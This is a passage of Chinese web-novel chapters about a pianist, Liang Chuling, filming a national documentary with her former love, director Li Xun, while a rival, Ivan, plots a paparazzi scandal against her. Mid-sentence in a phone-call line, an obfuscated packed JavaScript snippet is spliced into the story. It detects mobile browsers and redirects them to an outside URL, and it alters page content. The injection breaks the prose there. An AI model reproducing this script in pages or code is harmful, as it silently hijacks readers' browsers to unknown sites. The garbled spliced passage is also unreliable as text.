但同时在他胸腔里也藏着私心,或许,这也能帮梁初灵——如果她需要这份帮助,自然会接下,也能从包围中暂时解困;如果是自己多想,她并不需要帮助,或者实在是抵触拍摄镜头,那拒掉就好。 -- 周序打来电话,说耳夹落在了那天的咖啡店,问梁初灵什么时候有空,自己给她送过来。 梁初灵一拍大腿!是说呢,自己老觉得少了点什么东西! 那还是别人的耳夹呢! 造型师一直没问估计是怕她尴尬…… 别人的东西得还,她让周序有空的话直接送她家里去,张姨在家。 梁初灵暂时是不想跟周序碰面,怕一见上面对方又要拉着她聊个没完。 与周序这边尚算可控的关注感相比,其余麻烦则让梁初灵感到实在的厌烦。 先是梁父过去的一个老部下,如今自己开了家文化公司,辗转通过妈女士,说想请梁初灵赏光吃个便饭,聊聊合作可能。 妈女士婉拒了,对方却锲而不舍,打听到了梁初灵工作室的邮箱,发来措辞恭敬但意图明显的长信,字里行间透着对梁初灵的仰慕和与梁总的旧日情谊。 梁初灵让助理回了封拒信,结果对方竟开始与助理邮件往来,大谈艺术理想与当年和梁总的情谊,助理被缠得焦头烂额,直呼这人怕不是有点社交障碍。 更棘手的是伊凡那边。原本两人约定只在必要时配合公开露面,但最近伊凡团队的操作开始越发不受控。 伊凡团队开始放一些令人尴尬的恋爱细节,试图用甜蜜的恋爱故事掩盖可能的风雨。 比如伊凡连夜谱写的献给梁初灵的小夜曲,伊凡推掉重要演出只为陪梁初灵过生日,甚至暗示两人好事将近。 最近一条热搜更是荒谬,【伊凡为爱学中文】,配图是伊凡拿着一本儿童汉语课本的摆拍,评论区一片好甜。 而伊凡的经纪人打来电话:“梁老师,伊凡下个月初的独奏音乐会,如果能邀请您作为惊喜嘉宾,在音乐会的安可环节与伊凡来一段双钢琴,效果一定会非常轰动。” 梁初灵二话没说就拒绝。 经纪人再开口时,语气里的热情褪去:“梁老师,您也知道,伊凡最近面临一些不太友好的舆论环境,对他的形象造成了一些影响。他母亲为此非常忧心,昨天甚至因为血压问题进了医院观察。” “伊凡非常孝顺,得知母亲入院后,情绪很低落。叶莲娜老师醒来后,最挂念的仍然是儿子的前程。” “梁老师,就算不看在我们合作的情分上,也请看在叶莲娜老师对您的赏识和提携,以及她如今病中心仍不安的份上,再考虑一下?我们真的非常需要您的帮助。” 窗外的秋阳很好,好得有点不知天高地厚。 梁初灵依然可以拒绝,但却找不到一个绝对的理由能拿出来说服一切。四周都是看似笑脸盈盈,实则各怀心思。 她拥有拒绝的权力,但每一次拒绝,都可能引发新的麻烦,消耗她的精力,损害她的形象。她渴望一个能让她同时从这两件糟心事中脱身的理由。 于是那份邀约,是精准投递的一根稻草,游到了她的面前。 当经纪人将详细的纪录片企划书和导演名单递给梁初灵时,尽管她一眼就看到了李寻,但—— “接。” 这不啻于一场及时雨,以即将投入国家级纪录片拍摄为由,可以回绝掉所有其它合作可能。 那些想蹭热度的,想施加压力的,都不得不退避三舍。谁也不敢在这个节骨眼上,去干扰一项如此高度政治和文化意义的工作。 “我马上去办!”经纪人立刻转身去安排。 房间里只剩下梁初灵一个人,她走到窗边,看着楼下花园里渐深的秋色,草木繁荣,与天色枯荣与共。 答应参与纪录片,意味着在未来一段时间里,她将不可避免地与李寻产生大量工作交集。但两害相权取其轻,而且和李寻合作,她其实觉得很安全。 无数人打着关心、欣赏、旧情、合作的旗号,想吸一口她的血,或是借着与她产生关联,去润滑其他关系。 这五年,她并非没有长进,这些长进的本钱来源都是关注和爱意。 梁初灵不缺爱意,但却没再得到李寻给过她的安全感。 44. 《亚麻色头发的少女》 此项纪录片属于大型纪录片,其实目前才进入前期筹备期,但李寻既然执导,就当然会给李炽和梁初灵行方便。 李寻与梁初灵和李炽签署了纪录片的意向协议,明确了权利义务,拍摄周期预估为十二到十八个月,是个长期项目。 对当下来说,这份协议有着更实际的用处。 李炽那边的片子终于拿到了上映许可批文,压在心头的大石挪开,整个团队都松了口气。 梁初灵的工作室,则第一时间将协议摘要和项目说明,递往给了伊凡的团队,和梁父旧部的公司。 附上致歉函,表示因需投入国家级文化项目,原有档期无法协调,后续合作暂难推进。 伊凡团队最终回了个官方回复,没再纠缠。梁父旧部倒是又打了个电话,语气无比遗憾,但也识趣地不再多言。 困扰梁初灵多日的围困,因这一纸协议,暂时解除。 世界清静,梁初灵感受到权力与名望结合后,所能带来的有效性。 她利用了这个系统,得到了庇护,击退了骚扰。 这感觉复杂,有利用规则取胜的快意,但也并不觉得自由。 她只是换到了一个更高级的棋盘上,拥有了更多的行动空间,但本质上仍是被更大的力量所安排。 将这不合时宜的思辨抛开,至少眼前的问题是解决了。接下来,她要面对的是新的工作,以及与李寻不可避免的接触。 - 李寻那边,将乐团影片的后期工作,分包给了北电的研究生。他把关了分镜脚本和剪辑思路,把要求讲得很细。李寻给的报酬公道,还承诺成片会给他们挂上署名。 对于学生,既能挣钱又能积累作品经历。 对于影片,成本得到了控制,进度也有了保障。 算是一举多得。 他自己则迅速抽身,带着上面指派下来的几位工作人员,以及自己熟悉的团队成员,开始了紧锣密鼓的前期工作。 政治任务有政治任务的高效,拍摄大纲和核心主题早已拟定,方向明确。 七位钢琴家,每人侧重不同。 如李炽的部分会着重其创立全华裔法派乐团的开拓性与艺术理念。 再如梁初灵的部分,则更侧重于其年轻一代领军者的形象和国际赛事的突破性胜利。 十一月初的北京,秋意已深,冬寒初显。 拍摄名单上的七位钢琴家,散居世界各地,档期协调是最大的难题。 梁初灵和李炽是其中近期唯二确定在国内的,且梁初灵十二月中下旬就要动身前往挪威准备音乐会。 李寻的计划是,在十二月初启动梁初灵部分的实拍,争取在她出国前完成大部分需要她本人出镜的访谈和演奏。 后续如果需要补充一些空镜和生活场景,或者涉及童年、学习经历等需要历史素材的部分,可以等她回国后再补拍,或者联系妈女士协助提供资料,甚至代为讲述一些故事。 这类人物纪录片,故事线的搭建和剪辑的功力,比拍摄本身更重要。 素材是砖瓦,如何砌成有灵魂的建筑,才是关键。而理解是搭建的前提。李寻需要尽可能地理解镜头外的每一位钢琴家,找到能串联起“钢琴家”与“人”的那条隐线。 筹备会议开了一次又一次。场地协调、拍摄日程、采访提纲、视觉风格……千头万绪。 李寻作为导演之一,又是最了解,或者说,曾经最了解梁初灵的人,承担了最多的沟通和规划工作,他主动加上了梁初灵的微信。 他知道很快就要正式见面,在工作场合,以导演和拍摄对象的身份。 拍摄地点首先定在梁初灵小时候的琴房,体现出一种起点的意味。 梁初灵已经好几年没再踏足这里。 琴房的外面有一棵树,很招虫子,但果子很甜。 五六年前曾被从一人多高的地方砍断了主干,只留下一个树墩。 当时她觉得那树肯定死了,然而如今惊讶地发现,原先位置重新生长出了一株新干。枝丫努力向上伸展,叶子在冬日里已经快掉光,带剩下几片挂出倔强的生命力。砍断的痕迹被新生的树皮包裹、覆盖,几乎看不出来,但它确实在那里,以一种近乎奇迹的方式重生。 “梁老师,这边请。”工作人员的声音打断了她的思绪。 摄制组已经先一步到来,架设好了灯光和录音设备,李寻正在和摄影师确认机位,听到声音,他转过身。 两人都穿着得体,面色如常。 “梁老师。”李寻先开口,只看了她一眼,便移向她身后的环境,“这个地方还和你记忆里一样吗?我们需要拍摄一些你回到旧日练习场所的反应和回忆。” “差不多吧。”梁初灵走进房间,把窗户推开,指了指外面这棵树,“要不拍拍这棵树吧。比起这个琴房,其实我对这棵树更有感情。” 李寻顺着她的手指看去,目光越过她的肩头,落在那棵奇特的树上。房间里的工作人员在安静收拾设备或调试灯光,无人打扰这一角的静谧。 他走到窗边另一侧,与梁初灵隔着一臂的距离,认真望向那棵树:“这棵树很有意思。” 梁初灵侧过头看他,他并没有看她,依旧盯着那棵树,手指在窗台上敲击,是他思考时的小动作。 “什么有意思?”她问。 李寻这才转过头看她,眼睛里面是孩子气般的兴味盎然。 “我在想能不能把它拍成一条独立的线。”他的想法在舌尖上跳跃成型,“不是作为你故事的背景板或者隐喻,那样太老套了。我觉得可以把它当成这部片里的一个角色。” 梁初灵眨了眨眼,一时没完全理解:“角色?” “对。”李寻微微向前,想更清晰传达这个突如其来的灵感,“我觉得它有意思,因为它身上有个主动的故事。” 他开始用手势辅助描述,在空中虚画出方框:“它有明确的前史——被砍伐。有当下的行动——残躯上重新抽枝。还有未来的悬念——不知道它能长多高,能否弥补曾经的断裂,又会经历怎样的风雨。” “在我们的纪录片里,钢琴家的故事是人的乐章,充满复杂的情感与抉择。而树的故事,是物的乐章,或者说是生命意志的乐章。它的镜头,会是片子呼吸的间隙,我们不把它和钢琴和音乐家的故事挂钩。就让关于树的镜头穿插在整部纪录片里。” 他看向梁初灵,眼神灼灼,邀请她进入这个刚构建起的世界:“我们不给任何解说,就让画面自己说话。观众会自己完成这个叙事闭环。它和琴声、和掌声、和舞台灯光形成对话,甚至是反差。” “音乐是流动的,是瞬时的,是充满人类情感的华彩。而这棵树,是静止的、漫长的、静默的另一种生长的华彩。它们平行存在,各自叙述,又在更深的地方相通。你觉得呢?” 梁初灵彻底听懂了,望着李寻因兴奋而格外生动的脸,用游戏般的态度,构想出一个跳跃的叙事方式。 其实昨晚,梁初灵就去搜到李寻以前的作业影片,一条条看完,知道他饶有兴致地研究石头纹理,用音乐去模仿风声穿过不同形状缝隙的声音。 他绕过那些公认的“意义”,去触摸事物诡谲的生命力。 “让一棵树来讲故事。”梁初灵有一丝难以言喻的悸动,把她拉回了很久以前,那些被李寻点亮的日子。 “对。” 李寻越说思路越清晰,梁初灵听着,忽然觉得,李寻不仅仅是在设计镜头,也在为二人之间这段看似断裂的关系,找到了全新的观察和讲述方式。 不纠缠于过去的对错与伤痛,而像观察这棵树一样,拉开时间的距离,用静默且平行的视角,去记录各自在分离后的生长。 这个认知让她有些无措。她避开了他的视线,重新转头看向那棵树。 这时琴房的门被敲响,黄潇走了进来,“导演,之前你提的那个关于城市与钢琴的穿插线索……” 她语速很快,径直走向李寻,显然两人在工作上已有相当的默契,她的出现也打断了两人之间短暂的交汇。 梁初灵将翻涌的心绪压回心底,但原本飘向窗外的视线收回,落在眼前的窗框上,研究上面的木纹。 李寻也从那种创作中抽离,恢复了工作状态,转向黄潇:“正好,我也有个新想法。” 黄潇听他说完,也看向那棵树,点点头。 “镜头和色调也要调整。”李寻继续对黄潇说。 “说到镜头和色调,”黄潇接上,“们这部片子整体基调是庄重的,但有些部分是不是可以更大胆一些?比如在梁老师这个部分,打光就不用那么拘束,可以用一些高饱和度的色光。” “就像《LaLaLand》里那样,还有最后那段蒙太奇幻想也可以用。用近乎梦幻的色彩来包裹情感和遗憾,用强烈的的光,去渲染梁老师的枯燥练习生活……” 《LaLaLand》,梁初灵记得这部电影。她记得自己当时问李寻,为什么明明相爱,最后却没有在一起?为什么美的爱情要伴随遗憾? 李寻说:“也许因为有些路只能一个人走。而那瞬间交汇的光芒,足够照亮彼此的一生。” Da!—— 李寻打了个响指,“你说得对。我们不需要那么歌舞升平,但用视觉语言外化内心世界的方法,可以用在梁初灵这里,打破观众对古典音乐纪录片的刻板印象。我们可以仔细规划几个关键节点……” 二人热烈讨论起来,梁初灵站在原地,窗玻璃上映出她的脸。 她曾经看不懂的遗憾,现在有了懂的人,陪在李寻身边和他一起体会,一起将它变成作品的一部分。一种细密的难过,像深秋的霜爬上她的心壁。 她依然站在这里,可是她好像已经退场了。 琴房的门被敲响,一个中年男人在工作人员引领下走了进来,直奔黄潇。 “黄潇!”来人声音洪亮,带着笑意,是黄潇正在合作的另一部商业片的导演,姓陈,在业内以才华和脾气一样大而闻名,是位名副其实的大牌导演。 几个年轻工作人员忍不住投去崇拜或好奇的目光。 黄潇连忙起身:“陈导?您怎么到这儿来了?” “正好在附近勘景,顺道过来聊聊本子那个卡住的情节。”陈导环视了一下琴房环境,冲李寻点点头,“李导也在,忙呢?” 李寻礼貌地冲他也点了点头:“陈导。” 梁初灵也认出了这位名导,出于礼节,点了个头。陈导也止于礼节性的点点头。 黄潇和陈导走到稍远一点的角落讨论。 这边的工作暂时被打断,众人或好奇张望,或趁机休息。 窗外的风更急,吹得那木窗轻响,有些灰尘被吹进来。梁初灵的位置离窗近,站起身想去把窗户关掉,免得等会儿影响录音。 她刚要碰到,旁边一只手臂更快地伸过来,替她把窗户关了。 李寻在梁初灵起身的同时就注意到了她的动作,木窗上有挺多木刺,他担心梁初灵伤到手。 李寻关好窗转身,两人距离很近,梁初灵示意了一下远处正在讨论的黄潇和陈导,陈导冲李寻看了一眼又一眼,她提醒到:“陈导好像找你?” 李寻顺着她的目光看,却并没有过去加入寒暄的意思。反而对梁初灵说:“你等他一会儿转身的时候,看这面墙。” “嗯?”梁初灵不明所以。 “这儿。”李寻指了指是哪一面墙。 陈导穿了件带有光滑涂层的深蓝色运动外套,在他突然转身的时候——下午倾斜的阳光,透过高处的窗户,照在他衣服的袖子和后背上,然后透光处折射,在墙上投下了一道迷你彩虹。 “哇!”梁初灵没忍住。 李寻嘴角向上弯了一下,很快又抿平。 梁初灵想起很久以前,李寻也会这样让她看一些别人忽略的东西,现在的心情是混杂着偷享着独属于两人的隐秘快乐,以及随之而来的怅然。 讨论暂告一段落,陈导离开。 黄潇准备记录几个要点,顺手将自己的手机放在了旁边桌上,屏幕朝下。 梁初灵也在回消息,回完后也随手放在了黄潇手机不远处,同样是屏幕朝下扣着。 两人都没太在意这个动作。在公共场合,将手机屏幕朝下放置是为保护隐私的默认。 黄潇记完笔记,抬眼时正好看见两部手机,愣了愣,随即笑出声来:“呀,梁老师,咱俩手机型号一样,连手机壳也居然一样!” “真是巧了,我是在网上那家流浪猫公益店买的,梁老师也是那家店买的吗?” 梁初灵闻言也看向那两部手机。果然,一模一样的手机,套着一模一样的手机壳。 她顺着黄潇的话点了点头:“是同一家。是还挺巧的。” 这时其中一部手机发出震动。 梁初灵记得自己没设置震动,自然就没去拿手机。 黄潇见梁初灵没反应,自然就以为是自己手机在震,一边说着估计是剧组那边找我,一边翻过来一看,就看到屏幕上的来电显示是周序。 黄潇惊讶又尴尬,连忙把手机递向梁初灵:“是周序老师!梁老师,我给你拿过来。” 梁初灵也是一呆。她什么时候开的震动? 也没多想就接听,因为心思有点飘,不小心按到了免提上。 周序清朗中带着笑意的声音,回荡在安静的琴房里:“初灵,我昨晚耳机落你家了,你在家吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877674|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?能帮我找找吗?” 这几个词组合在一起,传递出的信息量被无限放大。 黄潇觉得自己可能不该听这话,立刻后退了小半步,眼神飘向别处,假装研究起墙上的旧海报。 而背对着她们在看监视器的李寻,头都没回。 梁初灵在听到免提声音传出的瞬间就反应过来了,手忙脚乱,长按音量键将声音调到最低,再去取消免提,压低声音:“你等一下……” 她一边说,一边拿着手机走向角落。这种姿态更容易让人浮想联翩。 昨天周序去梁家,送之前被梁初灵落在咖啡店的耳夹,张姨又热情,非让周序进去坐坐,周序也不客气,顺手把耳机摘下来放桌上,结果走的时候忘了。 “我让我妈或张姨找找,找到了告诉你。我还有事,先挂了。”梁初灵没等他回应就直接结束了通话。 黄潇一副专心工作的样子,仿佛刚才什么都没发生。 而李寻在监视器后面,梁初灵看不到他的脸。 这之后的拍摄,梁初灵和李寻都装得人五人六。 李寻引导她讲述小时候练琴的趣事或艰辛,梁初灵配合度高,回忆清晰,表达生动,偶尔还能抛出几个恰到好处的幽默。 一切都顺利进行。 李寻透过监视器,发现梁初灵的确成长了好多,她面对镜头显得很坦然,完全看不出紧张。李寻看着梁初灵坐在旧钢琴前,侧脸在调整过的光线中显得柔和。她回答问题时的神态,弹琴时手指的起落,望向窗外那棵树的眼神,每一个细节都被镜头忠实记录。 完美的合作氛围,也完美的将两人隔绝在职业距离之外。 下午的日程相对轻松,梁初灵不需要一直在镜头前,便坐在房间角落里看手机。工作人员给大家点了咖啡,梁初灵的助理给她端了一杯拿铁,李寻拿起另一杯追上去换下,助理再一看,被换成了一杯抹茶。 琴房的门再度被敲响,然后推开,金溪探进头来。 “初灵!”她声音清脆。 梁初灵也有些意外:“你怎么来了?” “我下午没排练,听说你在这儿拍片子,就溜达过来看看。”金溪走进来,先跟李寻和在场的工作人员打了招呼。她是李炽乐团的成员,又和梁初灵私交甚笃,出现在这里并不算突兀。 金溪过来了,梁初灵的助理就准备离开——除了外出演出,助理其实不太跟在梁初灵身边,毕竟梁初灵还是不同于明星,不需要时刻看护。更多时候,助理只是需要替梁初灵去处理邮件消息、维护粉丝群体、和经纪人对接工作。 梁初灵自己也不喜欢被人一直跟着。 李寻对金溪点了点头,算是打过招呼;又和梁初灵的助理点了点头,算是告别。接着继续和摄影师讨论下一个镜头。 金溪凑到梁初灵身边,两人低声聊了起来。 起初是在说乐团最近的趣事,还有金溪练琴时遇到的困惑,后来不知金溪说了什么,梁初灵突然笑了出来,明媚灿烂,是李寻今天一整天都未见过的开怀。 梁初灵还伸手拍了一下金溪的胳膊,神态生动,褪去了钢琴家的光环,也没有了面对镜头时的控制,就是一个二十出头和好友笑闹的年轻女孩。 李寻出于职业本能,将镜头转向梁初灵。 梁初灵出于职业本能,立刻发现了镜头。 李寻的目光抓着镜头里的她。 梁初灵的目光抓着镜头后的他——虽然她看不到后面的人,但她知道谁在那里。 隔着机器,隔着距离,隔着五年,隔着伤口,她们就这样“对视”。 不知道是谁说过,人的眼睛是最小的海,李寻觉得梁初灵的眼睛不是海,是两场最大的风,卷起无数沙尘,狂风奔涌,将他卷没。 让他觉得命运简直冷酷无情。 曾经在你我还是触手可及的关系时,我渴望了解你的一切,渴望参与你的过去、现在和未来。 我想知道你在遇见我之前是如何长大的,想知道你练琴时除了咬牙坚持是否也会偷偷抹泪,想知道你喜欢什么讨厌什么,梦想着什么又恐惧着什么,想知道你童年时待过的琴房,你少年时奔跑过的街道,你第一次获奖时的心情…… 我总觉得自己来得太晚,错过了太多。 我们的关系在青春期的尾巴上仓促开始,又在现实的风中断裂。 如今我们分开,隔着已经分开的五年,在你的人生轨迹与我早已岔开,我只能旁观时—— 命运却以一种荒谬的方式,赋予了我这样一个正当的理由和机会,可以名正言顺地将镜头对准你,记录你,甚至挖掘你。 我可以知道你在身份以外的全部细枝末节;可以知道你下课后是走路回家还是坐公交;可以观察你的注意力分给了哪些事物;可以留意你衣服的袖口习惯挽到什么位置;可以聆听你谈起喜欢的钢琴家时是崇敬、是共鸣、还是野心;可以分辨你偏爱哪个乐团的音色;可以在阳光下调整光圈、只为看清你瞳孔在强光下收缩时的纹路;可以通过你的朋友了解你还有哪些要好的伙伴,你们如何相处;可以从你助理那里知道,你习惯发消息还是更爱通电话;可以问你,北方的干燥和南方的湿润,更偏爱哪一种;甚至可以假设一个场景,去想象你弹琴时会不会闭着眼睛,任由思绪飘飞;可以留意你衣柜里的衣服大多是什么颜色;可以从你过往的社交媒体或她人的回忆里,拼凑出你上一次旅行是和谁一起,是在哪里,当时脸上是什么表情…… 所有这些,所有我曾渴望了解却未能完全了解的,所有关于梁初灵这个人的点点滴滴,如今,我似乎都有了某种权限去知道,去收集,去存入我的素材库,去成为我工作的一部分。 我全部、全部都想要知道。 我还是全部、全部都想要知道。 这个认知带着巨大的力度,将李寻重击。 在汹涌的欲望底层,无法伪装的情感浮了上来,清晰得让李寻浑身颤栗: 我想念你。 我还是如此想念你。 我居然还是如此想念你。 李寻心里涌起无法抑制的想念。 他想念她。 想念她曾经毫无保留看向他的眼神,想念她依赖他时的温度,想念她所有好的坏的、明亮的阴郁的、强大的脆弱的样子。 想念到即使隔着这么多隔阂,即使知道她已经有了新的生活,即使清楚自己或许只是她需要摆脱麻烦时恰好可利用的一环。 但这份想念依然顽固。 摄影师看向李寻,用眼神询问是否继续。 李寻对摄影师摇了摇头,示意可以了:“准备下一个镜头吧。” 拍摄继续进行,阳光在慢慢移动,窗外的新枝在风里轻轻摇晃。 45. 《儿童进行曲》 后续几天的拍摄按部就班,进行顺利。 梁初灵的部分已经完成大半,李寻也将导演的职责履行得一板一眼,调度、沟通、把关,除了必要的工作交流,两人之间维持着一种心照不宣的平静。 这天的拍摄需要金溪作为好友代表出镜,展现钢琴家舞台之下轻松的一面。 前一天,李炽得知今天的安排,让李寻正好帮忙把西本智识的签名照带给金溪,再把去南京给梁初灵带的礼物一并带去。东西有点多,李寻索性回房间打算背背包。 背包放在桌上,李寻拿的时候才发现桌上的照片少了几张。 他这段时间,回家只为睡觉和喂猫,没太关注其余变化,此刻关注到,也没心思分析。只当是不小心塞哪儿去了,或是被栗子玩丢。 准备放进抽屉,却发现其中一张照片上有用力捏过的印,他心里有一个猜测,也因这个猜测而无措,所以把剩下的照片和桌上的旧手机塞进了包里。 - 拍摄日,金溪本就活泼,又是和梁初灵在一起,所以状态更好,逗得梁初灵好几次笑场。李寻在监视器后看着,偶尔示意摄影师捕捉一些她们自然互动的细节。 “很好,就拍到这里。”李寻拿起对讲机。 现场气氛松弛下来。金溪伸了个懒腰,凑到梁初灵耳边说了句什么,梁初灵笑着推了她一下。两人商量着晚上一起回梁家吃饭,张姨念叨了好几次让金溪来家里喝汤。 收拾完东西,梁初灵和金溪并肩走出拍摄所在的园区。天色已是傍晚,街灯次第亮起。两人站在路边叫车。 “初灵,你看那边……”金溪忽然用胳膊肘碰了碰梁初灵,带着诧异。 梁初灵顺着她的目光看去。 园区侧门不远处的一棵银杏下,黄潇正和一个高个子男人拥抱在一起。两人侧对着这边,男人一头金发,身高也过高,像是混血。黄潇的脸靠在他肩上,脸上是毫无保留的甜蜜笑容。男人低头吻了吻她的发顶,姿态亲昵。氛围明显是热恋中的情侣,冬日又为她们增添了温暖的光感,看着让人心情挺好。 只是梁初灵难以置信,金溪也张大了嘴,两人都在对方眼中看到了同样的惊愕。 因梁初灵当初的话,金溪也默认了黄潇是李寻的女友。 不至于去恶意揣测别人,两个人的第一反应是:李寻和黄潇已经分手了? 梁初灵的心脏重重地跳了一下,随即又胡乱加速起来。 像谁在她胸腔里撒了一把跳跳糖,噼里啪啦炸开,带着甜与乱。 眼前清晰地表明黄潇有自己深爱的男友,感情正浓。 那么,李寻呢? 他是单身吗? 各种猜测在梁初灵脑海里乱窜。 “车来了。”金溪碰了碰她。 上车后,金溪忍不住又回头看了一眼,银杏树下那对情侣已经分开,手牵着手,说笑着朝另一个方向走去。 “我的天……”金溪转回头,“这到底怎么回事啊?” “我也不知道。” “算了算了,别人的私事,跟我们没关系。”金溪想得开,把梁初灵胳膊抱怀里。 梁初灵点头应,但还是觉得脑子里有一只飞虫,她有点迷迷瞪瞪的,想不清是什么滋味。 想不清,就被自己口水呛了一下,梁初灵忍不住狂咳起来,咳着却发觉余光里有一片红,趴到窗边去看,是索索的红,无端让梁初灵想起一束石榴花。 可石榴花开在五月。那这会是什么? “师傅,外面那棵红红的是什么呀?” “槭树!您喜欢呀?现在晚啦!等明年十一月,您得去顺义看,那儿有一大片山上都是这种红槭树,漫山遍野,好看!” 梁初灵心里意外的平静,原来是树,不是花。 谢过了司机,咳嗽也止住了。 - 第二天是梁初灵个人部分拍摄计划的最后一天。 地点换到了国家大剧院的排练厅,拍摄她与李炽的乐团指挥排练的场景,用以展现她与乐团协作的一面,也是梁初灵要求的、可以顺便给乐团带带流量。 上午的拍摄告一段落时,排练厅外传来一阵骚动。 不一会儿,场务带着点为难又有点兴奋的表情进来,对制片说了几句。 排练厅的双开门被推开,几个穿着制服的外送人员鱼贯而入,手里捧着夸张的、用红玫瑰与白色满天星扎成的爱心造型的花篮,上面挂着丝带:“致我的最爱初灵——属于你的伊凡”。 紧随其后的是外送员推着餐车,上面堆满蛋糕和奶茶,标签上同样印着伊凡的名字和祝福语。 全团队的人都有些懵,这阵仗未免太大了点,也有点兴奋——善意与恶意皆有。 梁初灵正在和指挥交流一个乐句的处理,看到这些东西吓一跳,她和伊凡自从上次后,再没有任何联系,无事献殷勤,她直觉不对劲。 李寻走到负责现场协调的助理导演身边问:“这些东西谁让送进来的?” 助理导演也是一脸茫然:“不知道啊导演,突然就送来了,说是给梁老师和全组的。” 李寻再度走到梁初灵身边悄悄问:“你知道这事儿吗?” “不知道啊。”梁初灵因李寻突然靠近而有些紧张。 “他知道你在这儿拍摄吗?” “我的行程没有公开。” 李寻点点头,要么梁初灵的团队里有人泄露了消息,要么伊凡那边用了不太光彩的手段打听到。无论哪种都让人不舒服。 他再走回到助理身边说:“这些东西先别动,尤其是入口的,让大家先别吃别喝。” 黄潇也意识到梁初灵本人对于这些’礼物‘似乎有点抵触,连忙过来帮忙,招呼工作人员将花篮挪到角落,甜品饮料也先放到一边,像一堆色彩鲜艳的尴尬。 李寻对团队扬声:“大家辛苦了,茶歇我重新给大家点,一会儿就到。大家稍等片刻。” 梁初灵也转向在场的工作人员和乐手:“抱歉给大家添麻烦了,耽误大家时间了。” 她说得得体,但手指在发抖。李寻看见,察觉到她十分不安,往她身边再挪了半步,形成一个庇护姿态。提议:“你要不要先回休息室?” 梁初灵摇了摇头。 她心里不安,想继续跟李寻说说话,但有工作人员过来问李寻有没有消毒棉签,李寻便又走开去翻包找,这几天他都背了背包,东西应有尽有。 - 二十四小时前,在酒店套房里,一个烟灰缸被伊凡砸在地面。 “他们怎么敢?!”伊凡抓起桌上的解约函,纸张在他手中皱成一团,“柏林、维也纳、巴黎——全停了?就凭那个贱人几句话?!” 经纪人站在客厅中央:“不止几句话。安德烈手里有视频。你喝醉那次在别墅里说的那些话,还有那些药。” 伊凡僵住了。 三个月前的那场派对。伏特加,□□,还有那个刚满十九岁的小提琴手安德烈。他不记得自己说了些什么,但经纪人把安德烈发过来的视频播放出来,视频里,伊凡大着舌头说圈内几位老指挥早就该进棺材、说某位女钢琴家靠睡评委拿奖、还有关于未成年乐迷的污秽玩笑。 “他要多少?”伊凡的声音从牙缝里挤出来。 “他不要钱,他明晚就会全网公开。叶莲娜女士那边,我也已经联系过了。” “她怎么说?”伊凡像抓住最后一根稻草。 “叶莲娜女士说,”经纪人声音干涩,“让伊凡去死吧。死在外面最好。如果敢回俄罗斯,我就亲手抽死他。也别再动心思想拉梁初灵下水。” 套房陷入死寂。 伊凡站在原地,忽然笑了,笑声低哑破碎。 “好好好……”他踉跄着走到落地窗前,俯视着北京夜晚的车河霓虹,“都抛弃我,那就都别想好过。” 他转身:“梁初灵明天在哪儿?” “国家大剧院。还在拍摄那部纪录片。” “纪录片。”伊凡咀嚼着这个词,“真风光啊。她凭什么?” 经纪人沉默。 伊凡的声音拔高:“我问你,她凭什么?我的演出全被取消了!她呢?明年克莱本的评委席都有她!柯蒂斯要给她名誉教授!我低声下气请她同台,她把我打发了!她凭什么一路顺风?!” 忮忌像硫酸腐蚀心脏,伊凡想起梁初灵那双过于清澈的眼睛,想起她站在领奖台上接受全世界掌声的模样,想起她拒绝他时的表情。 一个中国女人。一个靠着运气爬上来的黄皮肤女人。凭什么比他站得更高? “既然她不肯拉我一把,那就一起摔下来好了。” 经纪人抬起眼:“您的意思是……” “安排狗仔。明天我去给她送惊喜,你们把镜头准备好。明白吗?我会让她变成一个疯女人。” “可是您的形象……” “我都这样了,还要什么形象?”伊凡冷笑,“我只要她比我更惨。我要让所有人都看看,这位钢琴女神私底下是个什么货色。” 他走到酒柜前,酒精灼烧食道,却让他清醒。 “标题要狠,越难听越好。照片发出去,她怎么解释都没用。人们只相信自己愿意相信的。一个年轻漂亮的女钢琴家,私下是个疯子,多好的谈资。” 经纪人点头:“我明白了。” “记住,”伊凡最后说,“我要的不是绯闻,是丑闻。我要毁了她。” -- 下午的拍摄接近尾声时,梁初灵的不安越来越强。伊凡团队的操作她已经领教过,每一步都有目的。这些花和食物像某种铺垫。 最后一个镜头拍完,梁初灵想尽快离开这里。 “梁老师,辛苦了!” “梁老师今天状态真好!” 工作人员纷纷打招呼,梁初灵勉强笑着回应,脚步不停,抓起自己的外套和包,便朝外走去。 刚走到门口,伊凡戴着鸭舌帽就闪出来,让梁初灵被吓停,伊凡的动作比她思考更快,他一步上前抓住了她的手腕,力道很大,拽着她往另一个方向跑,急促地说:“Ling!终于找到你了!有狗仔!快,跟我走!” 名人面对狗仔,第一反应往往都是避让和逃离,这是多年形成的条件反射,梁初灵也不例外,下意识跟着他跑了几步,大脑还在处理这信息。 在跑出去十几米后,梁初灵混乱中被劈入一道理智的光—— 为什么要跑? 跑了不是更可疑吗? 她和伊凡是公开的情侣,被拍到在一起有什么问题? 于是跑到一半,梁初灵刹住脚步,非但自己停住,还硬生生将在往前冲的伊凡拽得一个趔趄。 “放开我!”她用力抽回自己的手。 “你干什么?”伊凡转头,帽檐下表情是恼怒。 梁初灵站稳:“为什么要跑?我们不是情侣吗?被拍到又怎样?” 伊凡试图再次去拉她的手:“他们会乱写,我们先离开这里再说!” “那就让他们写。”梁初灵声音冷了下来,“伊凡,你到底在搞什么鬼?” 闪光灯已经近在咫尺。 梁初灵能看清那几个从阴影里冲出来的人影了,打头的就有三四个,端着相机,动作熟练而迅猛,像嗅到血腥味的鲨鱼。他们一边拍一边移动,从不同角度捕捉画面。 每一个画面,单独看或许没什么,但配上耸动的标题和引导性的文字,足以编织出无数个故事。 梁初灵感到恐慌,那些黑洞洞的不断闪烁快门的镜头,像在眨眼,让她浑身发毛,她其实很害怕镜头,只是她向来努力、向来想要没有弱点,所以逼迫自己学会在镜头前微笑、回答、展现。 